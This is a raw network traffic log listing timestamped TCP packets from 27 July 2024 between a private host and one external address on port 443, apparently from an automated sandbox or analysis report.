Jul 27, 2024 16:49:42.981651068 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981719017 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981774092 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981848955 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.981909990 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.981981993 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982039928 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.982110977 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982167959 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.982240915 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982300997 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.982371092 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982430935 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.982508898 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982563019 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:42.982637882 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:42.982693911 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057202101 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.057336092 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.057450056 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.057512999 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057512999 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057512999 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057614088 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057656050 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.057689905 CEST	49739	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.057734013 CEST	443	49739	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.124622107 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.124703884 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:43.124818087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.125127077 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:43.125185966 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:44.973370075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:44.973573923 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:44.976062059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:44.976151943 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:44.977360964 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:44.977413893 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:44.977984905 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:44.978856087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.020582914 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.336158037 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.336211920 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.336364031 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.336405993 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.336474895 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.336574078 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.337078094 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.337256908 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.337317944 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.337378979 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.341005087 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.341187954 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.425884962 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426095963 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.426173925 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426485062 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.426677942 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426865101 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426863909 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.426944017 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426983118 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.426985979 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.427007914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.427021980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.427056074 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.427484035 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.427551985 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.427567005 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.427627087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.428189039 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.428251982 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.428316116 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.428374052 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.432060957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.432122946 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.513978958 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514179945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514249086 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514266014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.514266014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.514327049 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514377117 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.514480114 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514635086 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514655113 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.514724016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514765024 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.514765978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.514909029 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.515022039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.515022039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.515083075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516129017 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516208887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.516223907 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516289949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516339064 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.516355038 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516382933 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.516422987 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516527891 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.516540051 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516603947 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516604900 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.516632080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.516668081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.537806988 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.537976980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.538050890 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.538052082 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.538116932 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.590962887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.706283092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.706497908 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.706500053 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.706582069 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.706621885 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.706625938 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.706646919 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.706695080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.706696987 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.706870079 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.707003117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.707082033 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.707082987 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.707145929 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.707185984 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.707321882 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.707410097 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.707410097 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.707472086 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.708688021 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.708755970 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.708772898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.708836079 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.711694002 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.711885929 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883074045 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883229971 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883264065 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883332014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883372068 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883375883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883397102 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883409023 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883441925 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883517981 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883692980 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883708000 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883754015 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883833885 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883845091 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883887053 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.883900881 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.883951902 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.884150028 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.884278059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.884315014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.884382010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.884422064 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.884427071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.884445906 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.884458065 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.884517908 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.885001898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.885129929 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.885168076 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.885235071 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.885271072 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.885277033 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.885327101 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.885343075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.885406971 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.886194944 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.886300087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.918390989 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.918577909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.918593884 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.918662071 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.918706894 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.918715954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.918859959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.918941021 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.918941975 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919004917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919044018 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919125080 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919153929 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919205904 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919213057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919235945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919256926 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919369936 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919424057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919435978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919491053 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919501066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919523954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919553041 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919651031 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919717073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.919729948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.919784069 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.920258045 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.920329094 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.920476913 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.920552015 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.920630932 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.920698881 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.920844078 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.920909882 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.920985937 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921103001 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.921116114 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921171904 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.921245098 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921303034 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.921380043 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921437979 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.921514034 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921574116 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.921639919 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.921698093 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.972709894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.972913027 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.972913027 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.972980976 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973022938 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973026991 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973046064 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973059893 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973090887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973259926 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973306894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973439932 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973465919 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973467112 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973529100 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973571062 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973587990 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973587990 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973608971 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973634958 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973710060 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.973906994 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.973965883 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.974035025 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.978250980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978468895 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.978502035 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978586912 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978631973 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978635073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.978657007 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.978668928 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978698969 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.978773117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.978955984 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:45.979016066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:45.979077101 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.020294905 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020549059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020577908 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.020602942 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020654917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020823002 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020931959 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.020931959 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.020956993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.020982027 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021029949 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021112919 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021239996 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021306992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021306992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021369934 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021415949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021471024 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021487951 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021543980 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021550894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021579981 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021612883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021711111 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021769047 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021780014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021831989 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.021842003 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021863937 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.021895885 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.022026062 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.022085905 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.022095919 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.022151947 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.022152901 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.022172928 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.022203922 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.075416088 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.245769978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.245970964 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246015072 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246088028 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246130943 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246131897 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246151924 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246165991 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246191025 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246357918 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246531010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246560097 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246627092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246664047 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246669054 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246747017 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246774912 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246805906 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246860981 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246860981 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.246890068 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.246947050 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247009039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247020960 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247072935 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247101068 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247113943 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247142076 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247199059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247255087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247266054 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247320890 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247328997 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247353077 CEST	443	49740	39.97.203.118	192.168.2.4
